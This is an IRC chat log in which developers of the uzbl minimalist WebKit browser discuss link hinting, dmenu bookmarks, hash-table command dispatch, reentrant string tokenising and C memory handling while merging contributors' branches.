16:27 <@Dieterbe> but github is quite usable imho (no pun intended)
16:27 < dpb> (apparently gitorious doesn't have a bug tracker though..)
16:27 < lwi> i thought you may want to have a look at my sources, i also modified die gtk-launcher sample and added vimperator control so far and i implemented hinting today: http://code.ring0.de/?p=webkitbrowser.git;a=summary 
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16:28 <@Dieterbe> dpb: that reminds me. i could use a good public, free bugtracking service for uzbl
16:29 < dpb> Dieterbe: well github has a bug tracker
16:29 < dpb> http://github.com/Dieterbe/uzbl/issues
16:29 < dpb> no idea how good it is though..
16:30 <@Dieterbe> wow lwi , your goal for that is quite close to the goals of uzbl
16:30 < lwi> indeed
16:30 < lwi> :D
16:30 <@Dieterbe> dpb: cool, i didn't even know that
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16:31 < lwi> however my previous focus was on implementing basic browsing features so far
16:33 < dusanx> Dieterbe: dwm devs very much active, discussing dwm future
16:34 < sm217> true, 79 messages so far :D
16:35 < dusanx> but I will ask about patch today
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16:35 < dusanx> not that it counts, they are so heavy when they need to apply any patch
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16:36 < sm217> you can ask on #dwm, even arg is there
16:36 < dusanx> good idea, have not been to #dwm for ages
16:36 < dpb> (remember that it's on OTFC and not here)
16:37 < dusanx> I know
16:37 < dpb> Well others might not know ;)
16:37 < dusanx> true
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16:40 < dusanx> is there any app like wmctrl that does not use EWMH and can a) list all windows b) focus any of them on command ? Help appreciated.
16:40 < anydot> Dieterbe: You should use strtok_r instead of strtok, it's only small change
16:41 < dusanx> what _r does?
16:41 < anydot> You can write small utility around XQueryTree
16:41 < anydot> It's reentrant, safe in threaded environment.
16:41 < anydot> strok normaly saves running pointer to the tokenized string in itself (via static variable).
16:41 < anydot> But this broke if multiple thread's call strtok.
16:42 <@Dieterbe> okay thanks anydot , i'll put it on my todo (unless dusanx you want to fix this)
16:42 < dusanx> anydot: I know, I am trying hard to find any solution that I can use without having to code myself.
16:42 < dusanx> np
16:42 < dusanx> I will do it
16:43 < anydot> http://pastebin.ca/1406151
16:43 < anydot> There's patch :)
16:43 < dpb> ah, anydot found this too :)
16:43 < anydot> For me, it segfault's on this.
16:43 < anydot> I must repair it, so I can try the uzbl. :)
16:44 < dpb> anydot: your indenting isn't right in the patch <.<
16:44 < anydot> Yep, it was quickhack.
16:44 < dpb> anydot: which uzbl branch?
16:44 < anydot> master
16:44 < dpb> you should try dusanx's master branch
16:44 < anydot> (of dieaterb)
16:44 < dusanx> its freshest, true
16:45 < anydot> ok
16:45 < dpb> lwi: btw, what's the ultimate goal with your browser?
16:45 < dusanx> my master is always pretty stable, I don't push before testing
16:46 <@Dieterbe> *cough* :P
16:46 < dpb> :P
16:46 < dusanx> 'pretty' stable :P
16:47 < dusanx> I can't believe that I must write XQueryTree tool do do shell tabbing argh :(
16:47 < anydot> Don't say you must, only that it is simple. :)
16:47 <@Dieterbe> blame wm's who don't implement netwmh or however it was spelled again
16:47 < lwi> dpb: vimperator full feature set i guess
16:48 < dpb> such a lot of different browser projects popping up lately..
16:48 < sm217> evil webkit :>
16:48 < dpb> Indeed.
16:48 < lwi> well i saw uzbl url on the dwm mailing list and thought i could also do it :P
16:49 < dusanx> Yes, I announced it few days before
16:49 < anydot> And "devel" one is Barrucadu's experimental branch I guess.
16:50 < sm217> thinking is a bad habit, it's better to either know or not know :P
16:50 < dpb> lwi: full vimperator feature set is quite a bit more than uzbl though :P
16:50 < lwi> dpb: well probably i just pick the features i need
16:51 < dusanx> Dieterbe: does insert bookmark work? I am getting no errors but there is no new bookmarks in dmenu
16:51 < anydot> and btw, why there are internal/external bindings?
16:51 < anydot> Imho there should be only one bindgings, with some sort of "spawn" function.
16:52 < dusanx> internal is minimum, external is everything else you want...
16:52 < anydot> I got it, but ...
16:52 < dusanx> you can bind xclock to any key if you want
16:52 < anydot> That I can do in my config.h :-)
16:53 <@Dieterbe> dusanx: yeah for me it works, but you have to make sure that your config points to the correct scripts, and that you have write permission to the file that is configured in the scripts
16:53 <@Dieterbe> if you use the default scripts, it will be /usr/share/uzbl/.. and you don't have write permission there by default
16:53 < dusanx> Dieterbe: think that everything is ok but I will check again
16:53 < dusanx> no, I use mine config :D
16:54 < dusanx> must admitt that I am using your insert/command mode
16:54 < lwi> dpb: atm i have all basic browsing commands, basic hinting; next will be history and bookmarks, but then im almost done ;)
16:54 < dusanx> not always_inser_mode
16:54 < dpb> lwi: so that's quite a small subset of vimperator :)
16:55 <@Dieterbe> lwi: maybe we should merge your code into uzbl. as far as i understand, everything you want is compatible with uzbl design goals. and we already have history and bookmarks
16:55 < lwi> dpb: yeah no fancy scriptable mappings etc
16:56 < anydot> lwi: Is it public?
16:56 < anydot> Somewher?
16:56 < dpb> anydot: http://code.ring0.de/?p=webkitbrowser.git;a=tree
16:57 < dusanx> Dieterbe: you are right, have not changed insert_bookmark.sh
16:57 <@Dieterbe> lwi: btw what is the purpose of hinting?
16:57 < lwi> git clone git://ring0.de/webkitbrowser.git
16:57 < dpb> lwi: what if people like it and wants to make patches to make it have more vimperator features?
16:57 < dpb> would you include them?
16:57 < lwi> yep
16:57 < lwi> when they send patches
16:57 < lwi> :D
16:58 < dpb> does your browser have a vimp statusbar thing?
16:58 < lwi> nope, i just the title and url bar
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16:58 < farhaven> hi :)
16:58 < lwi> *use
16:59 < lwi> hey
17:00 <@Dieterbe> lwi lwi lwi :P
17:00 <@Dieterbe> @Dieterbe> lwi: btw what is the purpose of hinting?
17:00 < lwi> sry
17:00 <@Dieterbe> isn't it webkits job to mae sure it all looks allright?
17:00 < lwi> Dieterbe: its for highliting links
17:00 < farhaven> so you can hit a number to follow links
17:00 < lwi> yeah no mouse needed
17:01 <@Dieterbe> oh yeah we're also gonna do that with uzbl
17:01 <@Dieterbe> in fact, we have some ideas to not use numbers, but characters
17:01 <@Dieterbe> i would even let the user define his "favorite characters" (probably the ones on the home row)
17:01 <@Dieterbe> and use that to label the links
17:02 < dpb> lwi: you're just using numbers?
17:02 < lwi> dpb: atm yes
17:02 < dpb> Dieterbe: have you tried Vimperator yourself?
17:02 <@Dieterbe> dpb: no
17:02 < dpb> You should try it, maybe you'd get some more ideas. :)
17:02 < anydot> Dieterbe: I'm fine in hinting in vimperator 2.0+
17:03 < anydot> It's searching combined with classical vimp 1.x hinting
17:03 < anydot> Fast and easy to use.
17:03 <@Dieterbe> dpb: well, some people explained me how vimperator does it, and i like it. but instead of numbers i would pick user define characters, so you can do it with much less finger movement
17:03 < dpb> The web is so broken I tend to use the mouse for links more than hints..
17:04 < dpb> Dieterbe: did they also explain that the numbers are only a part of the vimp hinting?
17:05 < dpb> you can type just the link texts
17:05 <@Dieterbe> ..or the number, right?
17:05 < dpb> it'll filter the results, until there's only one left that it'll follow
17:06 < anydot> in vimp2, you can use both
17:06 < anydot> so to select third "buy" link on page, you write "buy 3"
17:07 < anydot> or even less, if there is no ambiguity.
17:07 < dpb> vimperator used to have user definable characters for hinting, instead of the system it has now
17:07 <@Dieterbe> oh, cool. and.. why did they remove it?
17:07 < anydot> They don't remove it, they change it.
17:08 < dpb> anydot: it was completely rewritten
17:08 < anydot> yep.
17:08 < anydot> And I very fine with the new hinting.
17:08 < anydot> Much better imho.
17:08 <@Dieterbe> so you think typing the links themselves is better then the hint? even if you can customize the characters?
17:09 < anydot> You do both, in same time.
17:09 < anydot> It works like filtering.
17:09 < anydot> You type 'b' and it filter only links having words which starts with 'b'
17:10 < anydot> And the selected is renumbered.
17:10 <@Dieterbe> hmm that sounds nice
17:10 < dpb> Dieterbe: the thing about character hints is that they're pretty random. it takes time to see what characters the link has and then find the characters on the keyboard.
17:10 < anydot> So on same page with many, many links but only 2 starting with 'b', you type 'b' and then type for example '1' or '2' to select the link.
17:10 < anydot> Yea.
17:11 < anydot> But you now the text of link.
17:11 < anydot> Much less cognitive load.
17:11 <@Dieterbe> uhu
17:11 < dpb> when you can access the link with just typing english (or whatever) words, it's faster in many cases
17:11 < anydot> Also, numbering links on page with many many links take some time.
17:11 < anydot> dpb: work's for me on !english pages too.
17:11 <@Dieterbe> but only the links on the visible portion of the page are hinted, i assume?
17:12 < anydot> Yes.
17:12 < dpb> anydot: yeah, as long as you know the language :)
17:12 < anydot> If you don't (some chinese page or god know what), you can still select link only via numbers.
17:13 <@Dieterbe> what if there are 2 links, which are called "go to page foo", "go to page bar", can you just type 'foo' or 'bar' or does it only work from the beginning?
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17:13 < dpb> yeah, the numbers is really just a "backup" system in vimp
17:13 < anydot> Dieterbe: it configurable.
17:13 < anydot> iirc there are 3 modes, match from start of link, match from start of word and match everywhere.
17:13 < dpb> Dieterbe: you can type just foo or bar, yeah
17:14 < anydot> in this example, you will just ype 'b' and that's all.
17:14 < dpb> by default it matches everywhere
17:14 <@Dieterbe> k, well i think we should also do something like that with uzbl
17:14 < lwi> well if i see a number, most cases 1-2 digits, its easy to press to digits :>
17:15 < dpb> it's easy to just click with the mouse. <.<
17:15 <@Dieterbe> lwi: is there anything about uzbl you do _not_ like ? do you think any of your goals are not compatible with uzbl?
17:16 < anydot> Dieterbe: imho, it's too much focused on pipe/running external scripts.
17:16 < anydot> May I guess? Are you wmii user? :)
17:16 < lwi> Dieterbe: i dont want want a loadable config or sth like that
17:16 < lwi> i like dwm and config.h
17:16 < anydot> yeah.
17:17 < lwi> anyway if you rly want to change a setting you can simply change and recompile within seconds
17:17 < lwi> faster than in any gui i guess
17:17 < lwi> but thats my personal opinion
17:17 <@Dieterbe> anydot: if that question was for me, then yes you're right
17:17 < anydot> hehe
17:18 < anydot> On the first sight, it looks to me too much wmii'sh.
17:18 <@Dieterbe> but you probably read that earlier cause i've mentioned it a few times :P
17:18 < anydot> No, I'm there for my first time.
17:18 <@Dieterbe> ok, nice job then ^^
17:18 < anydot> And I really, really only guess it.
17:18 <@Dieterbe> ok i believe you :)
17:20 < anydot> btw, it will be nice, if uzbl have some sort of on disk/ram cache, it will really improve user experience.
17:20 < anydot> Or does webkit itself cache in-ram css/small pictures?
17:21 <@Dieterbe> well that's an item on my todo list :)
17:21 < anydot> OK, good to know.
17:21 <@Dieterbe> i also want to figure out how it caches
17:21 <@Dieterbe> i think in the current implementation in uzbl (and the sample application from webkit-gtk which we are based on) there is no caching
17:22 <@Dieterbe> but i'm not sure.. yet
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17:22 < barrucadu> hi
17:22 < dusanx> hi :)
17:22 < sm217> hi barrucadu 
17:22 <@Dieterbe> welcome back barrucadu 
17:24 < dusanx> not sure if we even need dmenu patch, I like it better this way
17:25 < dusanx> dmenu does not have select all - delete so if you don't want last url you will need to do a lot of backspacing
17:25 < dusanx> starting blank and one tab from last url is probably best solution
17:25 <@Dieterbe> ah, you have a good point
17:26 <@Dieterbe> imho there should be some shorcuts added to dmenu, such as go to begginning of search string, go to end, and erase all
17:26 <@Dieterbe> because it's not very good for editing yet
17:26 <@Dieterbe> and if we have that, i think the patch would work great
17:27 < dusanx> as soon as I manage to catch right click menu 'open in new window' signal I have everything I need :D
17:27 < dusanx> exactly
17:27 < dusanx> well who does not like dmenu editing can use zenity, right? (just discovered tool)
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17:28 < dusanx> I love dmenu editing must addmitt
17:28 < dusanx> or he can bind one key for dmenu and other for zenity... thats why I love external scripts
17:28 < sm217> hmm, any idea where can I find _GHashTable definition?
17:29 < anydot> Dieterbe: dmenu wasn't thought as full-fledged readline-like x11 interface.
17:29 < anydot> Afterall, it's dmenu. :-)
17:31 < dusanx> sm217: http://library.gnome.org/devel/glib/stable/glib-Hash-Tables.html
17:31 <@Dieterbe> anydot: true, but that doesn't mean we cannot improve it's editing capabilities a bit :)
17:32 < anydot> Still, it's main usage is as selection tool, in which you can also write something.
17:32 < sm217> dusanx: I actually needed to see structure's members, but no more need.
17:32 <@Dieterbe> dusanx: no, because dmenu is great for picking entries out of a list, zenity cannot do that.  i just want a few small patches to dmenu so it works better as an editor. then you can use dmenu for picking existing url's and also editing url's
17:32 < dusanx> sm217: hmm, The GHashTable struct is an opaque data structure to represent a Hash Table. It should only be accessed via the following functions.
17:33 < dusanx> Dieterbe: I know but it may take a while for dmenu to get that patch
17:33 < dpb> Those editing capabilities probably wont go into the main dmenu if you decide to add them.
17:33 < anydot> Maybe not.
17:33 < sm217> Yeah, just wanted to try filling it the old way.
17:34 < dusanx> sm217: In other words, they say that you should stay out of structure.
17:34 < anydot> Write to dwm@suckless.org, dwm/dmenu/whatever maillist.
17:34 < anydot> You can post to it without subscription
17:34 < sm217> dusanx: So I will do :>
17:34 < dpb> (but if you don't have subscription, you might not get an answer..)
17:35 < anydot> You will, if you say, that you are offlist, so they CC you.
17:35 < anydot> Also, dwm@ is relativelly low-profile list.
17:36 < dusanx> if I understand correctly current discussion at dwm they want to rewrite dmenu to support pango or cairo -- patching existing dmenu is not high on the list
17:36 < anydot> If you wan't to subscribe, post any email to dwm+subscribe@suckless.org
17:36 <@Dieterbe> i am already subscribed
17:36 <@Dieterbe> i sent my first patch last weekend :)
17:36 < anydot> dusanx: There wasn't any discussion about pango/whatever support in dmenu.
17:36 < dusanx> but after some thinking I am not sure if I would use default value :(
17:37 < dpb> anydot: arg was going to use the same font stuff for dmenu too
17:37 < dpb> and st
17:38 < anydot> st is dead. :)
17:38 < dpb> lies!
17:38 < dusanx> anydot: can't look through 150 mails but anselm did mentioned to rewrite both dwm and dmenu
17:38 <@Dieterbe> dusanx: well, remember you can always assign different keybindings, one with the default value and one without.  so you can pick another script depending on whether you want to edit the current url or search in history/bookmarks
17:38 <@Dieterbe> what's st?
17:38 < dusanx> Dieterbe: true, uzbl is mean
17:39 <@Dieterbe> uzbl is badass :P
17:39 < dusanx> Dieterbe: did you know that you can map same internal function to several keys?
17:39 < anydot> Nevermind, I dislike pango/cairo in dwm, also the planned changes to statusbar and whole reparenting thingie (only because of broken java, which can be workarounded) make me sick.
17:39 < anydot> Dieterbe: Simple Terminal, planed light x11 terminal emulator.
17:40 <@Dieterbe> dusanx: yes, but why would you want to do that?
17:40 < dpb> "looking dwm (same for dmenu of course and my ongoing st efforts)." -arg on the 25th
17:40 < dusanx> Dieterbe: oh, when I use trackball that's on the left hand I could use right-hand shortcuts and left-hand when I use mouse /sick, I know/
17:41 <@Dieterbe> haha
17:41 <@Dieterbe> well, the user is the boss
17:41 <@Dieterbe> that's the whole point of uzbl :)
17:45 < dusanx> Anselm R Garbe <garbeam@gmail.com>: Tue, 28 Apr 2009 09:01:54 +0100 dwm will be slightly redesigned, code-wise. I consider having a
17:45 < dusanx> less suckish font and drawing abstraction in order to be implemented
17:45 < dusanx> in different ways (which will also be used by st and dmenu).
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17:56  * barrucadu1 prods "barrucadu"
17:57 -!- Irssi: #uzbl: Total of 26 nicks [1 ops, 0 halfops, 0 voices, 25 normal]
17:57 <@Dieterbe> 26 nicks already. nice :)
17:57 < sm217> *25
17:57 < barrucadu1> Two fo whom are me :p
17:57 < barrucadu1> *of
17:58 <@Dieterbe> yeah but still :)
17:58 < anydot> You are twin :)
17:59 <@Dieterbe> Merging time: T minus 40 minutes
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18:02 < sm217> bad connection?
18:02 < dusanx> barrucadu2: I see double, one of you will have to go :P
18:03 <@Dieterbe> lol dusanx there is really something wrong with your eyesight then
18:03 <@Dieterbe> because there are 3 of them :P
18:03 -!- Irssi: #uzbl: Total of 27 nicks [1 ops, 0 halfops, 0 voices, 26 normal]
18:03 < dusanx> lol
18:03 < dusanx> stopped counting at 2
18:04 < barrucadu2> Err
18:04 < barrucadu2> :p
18:04 < barrucadu2> My router seems to drop the connection randomly, at one point it was once every half hour or so - naturally the ISP claimed it wasn't a problem at their end...
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18:05 < barrucadu2> They are also the only phone company here, and they claimed it wasn't a problem with the lines
18:05 < barrucadu2> Though changing the router didn't have any effect, so I suspect it is a problem at their end, as a few other people have complained about it
18:05 < dusanx> you can sign in on freenode and use /msg NickServ identify password later when you login
18:06 <@Dieterbe> but that won't do anything about the lag/timeouts of course
18:06 < dusanx> no, just instantly kicks other accounts
18:06 <@Dieterbe> oh hmm
18:09 < barrucadu2> Wow, it's World Penguin Day: http://penguingeek.wordpress.com/2007/04/25/world-penguin-day/ :)
18:10 < barrucadu2> Wait, no it's not <.>
18:10 < barrucadu2> That was 3 days ago
18:10 < barrucadu2> Clearly, I am tired :p
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18:18 < sm217> some ugliness :<
18:19 < sm217> when adding commands to hashtable, I will need to call g_hash_table_insert() for each. maybe some better solution?
18:20 < sm217> hmm
18:21 < dusanx> sm217: gnome insists that you use functions they gave, right?
18:21 < sm217> yes
18:21 < dusanx> so...
18:21 < sm217> I guess I will iterate two tables :P
18:21 < dusanx> workaround might work but what if they change structure later?
18:22 < sm217> I will work anyways, I'll be calling same function
18:23 < sm217> just instead of multiple lines, I will iterate arrays of names and corresponding funcs
18:41 < sm217> dusanx: if I'm right, like this: http://paste.cluenet.org/1992
18:55 < dusanx> ok, looks fine
18:55 < dusanx> I still don't understand hash tables, what do we get better?
18:55 < sm217> Much simplier, and faster
18:56 < dusanx> ok, I'll wait and see
18:56 < dusanx> never used hash tables before I believe
18:57 < sm217> hmm
18:57 < dusanx> you have 2 function calls in old commands
18:58 < dusanx> with one and two parameters
18:58 < sm217> checking if I get it: parse_command get command name, finds a defined command and executes defined func?
18:58 < dusanx> yes but number of parameters differ
18:58 < dusanx> see code you commented
18:58 < dusanx> "uri" has two parameters
18:59 < sm217> Hmm.
19:00 < dusanx> and we may add more functions with both one or two pamars
19:00 < dusanx> params
19:00 < sm217> :)
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19:03 < sm217> Maybe use structures as hashtable value.
19:10 < dusanx> I would like to help but have no idea about hashtables :(
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19:21 < sm217> np :)
19:21 < sm217> they are simple though
19:22 < sm217> even for me =)
19:33 < sm217> this is not the best way, but uh.
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19:47 <@Dieterbe> evening dudes
19:47 < dusanx> hi boss
19:47 < sm217> evening
19:48 < dusanx> merging time? :)
19:48 < sm217> are commands passed like `command parameter, parameter, paremeter, ...' ?
19:48 <@Dieterbe> right on
19:48 < dusanx> brb
19:48 <@Dieterbe> there are only commands with zero parameters and with 1 paramater
19:49 <@Dieterbe> so it's command [param]
19:49 < sm217> Why use comma as separator for strtok then?
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20:32 <@Dieterbe> sm217: i don't know.. i googled a bit around on splitting strings with spaces, and found that
20:32 <@Dieterbe> i tried it and it worked for a few tests, so i used it
20:32 < sm217> Heh :)
20:34 < sm217> Why can't I have array of pointers to struct :<
20:35 <@Dieterbe> huh? what?
20:36 < sm217> cFunc *funcs[] = { {false, &go_back_cb}, {false, &go_forward_cb}, NULL};
20:36 < sm217> cFunc is struct with a boolean and function pointer
20:36  * sm217 is inventing wheels
20:37 < sm217> That gives warnings
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20:40 <@Dieterbe> what do the warnings say?
20:40 <@Dieterbe> and btw maybe use an array?
20:40 <@Dieterbe> array[0] -> boolean, array[1] -> pointer
20:41 < dusanx> yes
20:42 < sm217> uzbl.c:212: warning: braces around scalar initializer
20:42 < sm217> uzbl.c:212: warning: (near initialization for ‘funcs[0]’)
20:42 < dusanx> wow never heard that warning before
20:42 < sm217> Heh.
20:43 <@Dieterbe> ugh. me neither
20:43 < dusanx> few guys took my code today iirc
20:49 < sm217> Ugh. I will not invent a wheel and use old command struct instead
20:50 < sm217> just put it in a hashtable
20:57 < dusanx> I have
21:00 <@Dieterbe> dusanx: what is the advantage of const gchar * over gchar * ?
21:01 < dusanx> still considering what we should do, for gchar * you need to allocate memory and use free() when you don't need it, const gchar looks like takes care about both, I am still reading docs
21:01 <@Dieterbe> can you also explain why the previous code here was not ok? http://github.com/dusanx/uzbl/commit/5586e11f8ac6265472b92dbb9a99ff0b7052d1e2
21:01 < dusanx> let me see
21:02 < dusanx> ok:
21:02 < dusanx> uri is gchar *
21:02 < dusanx> pointing to non-allocated memory (dangling anywhere, random value)
21:03 <@Dieterbe> aha ok
21:03 < dusanx> if you try to write string to gchar* that has no real memory assigned (being only pointer), you will overwrite random memory address and cause segfault
21:03 < dusanx> great example you picked, there is more:
21:04 < dusanx> I have changed that to GString blah blah, main tring is that gstring allocates memory by itself
21:04 < dusanx> BUT
21:04 < dusanx> you need to free GString too when you don't need it later
21:05 < dusanx> you can use (last line) FALSE or TRUE
21:05 <@Dieterbe> oooh barrucadu this is a nice commit http://github.com/Barrucadu/uzbl/commit/7446b36ea6a2067186cf5a25ccd99e16ecc95dcc :)
21:05 < barrucadu> :)
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21:05 <@Dieterbe> dusanx: yeah something to remember I guess. if the function has "new" in it's name it does malloc/new so we should free it later
21:05 < dusanx> FALSE means to leave gchar * portion in memory, assigning it to uri gives you pointer to real variable
21:06 < dusanx> even if you don't want to assign it to gchar *, you need to call same function with TRUE at the end - free everything including gchar * part
21:06 < dusanx> copy/paste this somewhere, that's all I wanted to explain about strings
21:07 < GNU\caust1c> whats the forbidden 3 letter word? :)
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21:07 < barrucadu> Sorry, we can't tell you.
21:07 < barrucadu> :p
21:07 -!- Dieterbe changed the topic of #uzbl to:  Uzbl is a browser that adheres to the unix philosophy.  Uzbl does only browsing -- uzbl is almost uzbl -- http://github.com/Dieterbe/uzbl
21:07 < GNU\caust1c> c++?
21:07 < barrucadu> Nope
21:07 < GNU\caust1c> hmm :)
21:08 < dusanx> thank god no
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21:08 < GNU\caust1c> everything firefox related is longer than 3 letters :)
21:08 < dusanx> we are messing with strings, I can't even imagine what we would do with constructors and destructors
21:10 < GNU\caust1c> is there something like a todo list so one can contribute? :)
21:10 < dusanx> check project goals, that's probably best place to start
21:11 < GNU\caust1c> and i'm wondering how (if?) you want to implement plugins like noscript
21:11 < dusanx> we are far far away from modifying webkit
21:12 < dusanx> hmm actually not, we have signal to exlude parts of the page // thinking
21:12 < GNU\caust1c> i looked into the webkit api reference, but didnt find anything related to such things
21:13 < dusanx> gboolean            webkit_web_view_can_show_mime_type  (WebKitWebView *web_view, const gchar *mime_type);
21:13 < dusanx> gboolean            webkit_web_view_can_show_mime_type  (WebKitWebView *web_view, const gchar *mime_type);
21:13 < GNU\caust1c> ah, ok
21:13 < dusanx> sorry, doubl
21:13 < dusanx> e
21:14 < dusanx> void                webkit_web_view_execute_script      (WebKitWebView *web_view, const gchar *script);
21:14 < GNU\caust1c> hm, i must be blind :D
21:14 < gcarrier> there are some nice ideas in this 950kB browser: http://www.stainlessapp.com/
21:15 < gcarrier> like // sessions using cookies "boxes"
21:15 < gcarrier> bookmarks are not-so-intrusive favicons on the left side
21:16 < dusanx> lol, read project goals
21:17 < gcarrier> dusanx: i think this is a good place to talk about ideas around browsers...
21:17 < dusanx> cool
21:18 < gcarrier> dusanx: plus this browser can have a pretty minimal GUI
21:18 < dusanx> no
21:18 < gcarrier> dusanx: no what?
21:18 < dusanx> sorry if I was rude but no
21:18 < dusanx> no gui :)
21:18 < gcarrier> dusanx: i know
21:19 < gcarrier> dusanx: and i totally agree
21:19 < gcarrier> dusanx: do you intend to use dmenu-based controls for bookmarks/history?
21:20 < dusanx> already done and works, thanks to Dieterbe 
21:20 < gcarrier> dusanx: nice
21:20 < GNU\caust1c> i once wrote a dmenu based bookmarkscript/url bar for firefox as i hated how firefox handles bookmarks
21:20 < gcarrier> if you do tabs, 1 process per tab could be awesome
21:20 <@Dieterbe> sm217: remember to pull from someone (preferably me) to keep your code up to date.  so that if your stuff is done it's not too hard to merge
21:21 < gcarrier> http://arstechnica.com/open-source/news/2009/03/experimental-process-per-tab-browser-created-with-qt-xembed.ars
21:21 <@Dieterbe> gcarrier> dusanx: plus this browser can have a pretty minimal GUI <--- what?? gui?? now we have another forbidden 3letter word :P
21:21 < GNU\caust1c> gcarrier: uzbl will per design use one process per showed page
21:22 < GNU\caust1c> aaah, the forbidden word is "tab"? :)
21:22 < gcarrier> Dieterbe: hey, i didn't say you should do that...
21:22 < gcarrier> Dieterbe: but this is a OSX browser, it's pretty logical to have a GUI there :)
21:22 < barrucadu> Hmm, didn't we talk about using GtkSocket/GtkPlug for a possible future uzblctrl (or something) interface
21:22 < dusanx> Dieterbe: give me an hour he will confess all kinds of attrocities!
21:22 < rob|> btw, any special reason for using pthread instead of a simple fork based solution?
21:23 <@Dieterbe> gcarrier: osx?
21:23 < rob|> pthread is huge and apps linked gainast is are ven bigger
21:23 < gcarrier> Dieterbe: yes, stainless is a cocoa app
21:23 < anydot> Hi there, jost wrote some patch.
21:23 < anydot> Which merges external and internal bindings into one.
21:23 < GNU\caust1c> what about a plan9 filesystem approach like in wmii?
21:23 < anydot> That suck :)
21:24 <@Dieterbe> rob|: probably not.  please enlighten us :)
21:24 < dusanx> anydot: can I see it? what is the benefit?
21:24 < anydot> commands are called via (~new) spawn function, (with parameters separated with space).
21:24 < anydot> Also small cleanup.
21:24 < rob|> Dieterbe: well nothing to enlighten here, just use a select/fork based method and dump all the pthread stuff
21:24 <@Dieterbe> rob|: why?
21:24 < anydot> dusanx: http://github.com/anydot/uzbl/commit/b3b92d1fa68aaca611acc434338f602f25d5e44c
21:25 < anydot> Take it as first step in cleanup, 'cause that source is really messy. :)
21:25 < rob|> Dieterbe: as i said, pthread is just a huge not necessary depency and certainly not the "unix way"
21:26 < anydot> Another thing, removed that "what that" one and two parameter callback function in Command
21:26 < dusanx> anydot: thanks, I'll check it. Messy?
21:26 < anydot> Now there's only two parameter callback, first param is webkitwebview, second char*
21:26 < rob|> Dieterbe: dzen was based on pthread in its beginnings, too - after converting to select the memory footprint was dramtically smaller
21:27 < anydot> dusanx: for example that callback solution I wrote above, that was horrible.
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21:27 <@Dieterbe> rob|: well, i hope you don't mind writing a patch :) i don't think any of us three devs is too familiar with this stuff. maybe dusanx ?
21:27 < dusanx> not me, sorry
21:28 < rob|> i will install arch on the laptop now just to get rid of the silly debian webkit problem
21:28 < barrucadu> anydot: I think it's nicer having internal and external bindings in separate sections of the config file, it provides a nice, clear separation between them
21:28 < dusanx> barrucadu: me too
21:28 < anydot> why to separate functions into sections.
21:28 < anydot> It's just some parametrized functions.
21:29 < sm217> Whee, things are working.
21:29 <@Dieterbe> rob|: you rock :)
21:29 < anydot> It also duplicate code.
21:29 < barrucadu> But some are internal and some are external, the latter involve invoking a script or something. So it makes sense to split them apart
21:29 < anydot> No,
21:30 < anydot> It involve invoking (in you sense internal) function, which run script.
21:30 < anydot> And in that way is my patch.
21:30 < dusanx> anydot: no go, we intentionally left all callback parameters, we will need them later
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21:30 < dusanx> anydot: I will check the rest of cource but callback parameters must stay
21:31 < anydot> But parameters are NOT removed.
21:31 < anydot> Just there is no reason to have cb with one param only.
21:31 < dusanx> anydot: ok, looking
21:31 < anydot> In my version it's much simpler, as you always have two param cb.
21:32 < anydot> You mustn't check anything, you just call parse_command with action name and (optional) parameter.
21:32 < anydot> (optional as in null or string)
21:34 < dusanx> anydot: ok, I will check everything tomorrow, thanks
21:34 < anydot> ok
21:34 < dusanx> except I think that we will keep separate lists
21:34 < dusanx> maybe pack them together but separate
21:35 < anydot> why that?
21:35 < sm217> Dieterbe: I hope that different identation is not a problem?
21:35 < anydot> that external list is just list with "spawn" function called by default :)
21:36 <@Dieterbe> sm217: it is , somewhat
21:36 < dusanx> I know but you can easily mix internal functions with scripts
21:36 <@Dieterbe> dusanx: nice that the download script works
21:36 < sm217> Dieterbe: what's your tab width then?
21:36 < anydot> dusanx: And that's preciselly OK imho.
21:36 <@Dieterbe> i was surprised that i saw the wget so fast :)
21:36 <@Dieterbe> 4 spaces
21:37 < dusanx> :D Try clicking some page that has target = new
21:37 < anydot> dusanx: You are mixing them anyway, on keyboard :)
21:37 <@Dieterbe> dusanx: do you know any example of such a page?
21:37 < barrucadu> Dieterbe: search google, there are some examples
21:37 < dusanx> google -> open in new window -> any html example page :)
21:37 < anydot> dusanx: It also add unncessary complexity into code, you must check this list first, that list then, etc etc.
21:38 < dusanx> I mean google for 'open in new window'
21:38 <@Dieterbe> nice this works indeed
21:38 <@Dieterbe> maybe we should implement middleclick vs single click.  no wait.. naaah. keyboard >> mouse
21:39 < sm217> Eww, can't fix that different identation :(
21:40 < sm217> Committing, there's one small thing I need help with.
21:40 < dusanx> Dieterbe: all I am trying to do is catching popup signal 'request open in new window', not working out of the box
21:42 < anydot> btw, is there some web documentation (doxygen/whatever) of webkit?
21:42 < anydot> API documentation.
21:43 <@Dieterbe> dusanx, barrucadu . i tested all things listed in CHECKLIST and everything works (more or less). refresh doesn't always work, and windows that newly spawned don't listen to keybinds (but that's because they are not started with a config)
21:43 <@Dieterbe> so i merged everything in master
21:43 < sm217> Committed. http://github.com/sm217/uzbl/ - please look at line 220, gcc says єoperation on ‘i’ may be undefined'
21:43 < barrucadu> Dieterbe: Exciting times :)
21:44 < GNU\caust1c> sm217: dont use i and i++ in one line
21:45 < GNU\caust1c> or statement. its undefined in which order the arguments will be evaluated
21:45 < sm217> Ah, thanks
21:45 < dusanx> Dieterbe: new window runs uzbl from the path (aur version probably in your case) and then ./uzbl (dev). You probably don't have settings for spawned because you have older aur version?
21:46 < anydot> Also, I had one idea.
21:46 < anydot> Pass PID, configfile etc via env. variables, not arguments.
21:48 < rob|> sm217: it's not really "the in one line" thing that's problematic, but a sequence point issue. see http://en.wikipedia.org/wiki/Sequence_point
21:48 < dusanx> Dieterbe: I will pick your experimental tomorrow morning and continue to develop from there
21:48 < GNU\caust1c> you are right :)
21:48 <@Dieterbe> dusanx: because uzbl is not launched with --config
21:49 < dusanx> Dieterbe:  aahh, you are using --config
21:49 <@Dieterbe> of course
21:49 <@Dieterbe> how else would key bindings and al that work
21:49 < dusanx> hmm, I can pass parameter, no problem
21:49 < dusanx> with saving config to proper location perhaps :P
21:49 <@Dieterbe> ps dusanx and barrucadu , remember that uzbl can be launched without config, so download handler etc can be NULL. don't assume it is set. i will fix this bug
21:50 < sm217> Thanks rob| =)
21:51 < dusanx> I will config to new instance if there is one tomorrow so that will work in both cases
21:51 <@Dieterbe> dusanx: why do you  return (FALSE);
21:51 <@Dieterbe> in the download_cb ?
21:51 < dusanx> where?
21:51 < anydot> http://pastebin.ca/1406511
21:51 < anydot> Comparison of parse_command in sm217's hashtable variantion and with my patch ~applied.
